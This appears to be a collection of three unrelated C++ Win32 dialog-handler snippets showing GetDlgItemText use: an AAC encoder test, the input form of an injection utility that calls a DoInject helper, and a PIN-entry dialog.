LRESULT CMainDlg::OnBtnTest(WORD wNotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled) { HANDLE_MP4_FILE hMp4File; hAudioChannel inputFile = NULL; AuChanInfo inputInfo; AuChanMode auFlags = AU_CHAN_READ; AuChanType auType = TYPE_AUTODETECT ; /* must be set */ inputInfo.bitsPerSample = 16 ; /* only relevant if valid == 1 */ inputInfo.sampleRate = 44100 ; /* only relevant if valid == 1 */ inputInfo.nChannels = 2 ; /* only relevant if valid == 1 */ inputInfo.nSamples = 0 ; /* only relevant if valid == 1 */ inputInfo.isLittleEndian = 1; inputInfo.fpScaleFactor = AACENC_PCM_LEVEL ; /* must be set */ inputInfo.valid = 1 ; /* must be set */ inputInfo.useWaveExt = 0; char file_path[MAX_PATH] = {0}; GetDlgItemTextA(m_hWnd, IDC_EDT_SOURCE, file_path, MAX_PATH); int ret = AuChannelOpen (&inputFile, file_path, auFlags, &auType, &inputInfo); struct aac_encoder_t *encoder = 0; open_aac_encoder(encoder, inputInfo.sampleRate, inputInfo.sampleRate, inputInfo.nChannels, inputInfo.nChannels); //AACENC_CONFIG config; //AacInitDefaultConfig(&config); //unsigned char ASConfigBuffer[80]; //unsigned int nConfigBits; //unsigned int nConfigBytes; // //memset (ASConfigBuffer, 0, 80); //if (GetMPEG4ASConfig(22050, // 1, // ASConfigBuffer, // &nConfigBits, // 1, // 1) ) { // fprintf(stderr, "\nCould not initialize Audio Specific Config\n"); // exit(10); //} if (encoder) close_aac_encoder(encoder); if (inputFile) AuChannelClose (inputFile); return 0; }
INT_PTR MainDlg::OnExecute( HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam ) { wchar_t path[MAX_PATH] = { 0 }; char init[256] = { 0 }; wchar_t arg[512] = { 0 }; GetDlgItemTextW( hDlg, IDC_IMAGE_PATH, path, MAX_PATH ); GetDlgItemTextA( hDlg, IDC_INIT_EXPORT, init, 256 ); GetDlgItemTextW( hDlg, IDC_ARGUMENT, arg, 512 ); DoInject( path, init, arg ); return (INT_PTR)TRUE; }
LRESULT pinDialogPriv::on_command(WPARAM wParam, LPARAM lParam) { switch (LOWORD(wParam)) { case IDC_PININPUT: { if (HIWORD(wParam) == EN_CHANGE) { GetDlgItemTextA(m_hwnd,IDC_PININPUT,&m_buffer[0],(int)m_buffer.size()); if (lstrlenA(&m_buffer[0]) >= (LONG ) m_dlg.m_minLen) { EnableWindow(GetDlgItem(m_hwnd,IDOK),TRUE); SendMessage(m_hwnd,DM_SETDEFID,IDOK,0); } else { EnableWindow(GetDlgItem(m_hwnd,IDOK),FALSE); SendMessage(m_hwnd,DM_SETDEFID,IDCANCEL,0); } } break; } case IDOK: case IDCANCEL: GetDlgItemTextA(m_hwnd,IDC_PININPUT,&m_buffer[0],(int)m_buffer.size()); EndDialog (m_hwnd,wParam ); return TRUE; } return FALSE; }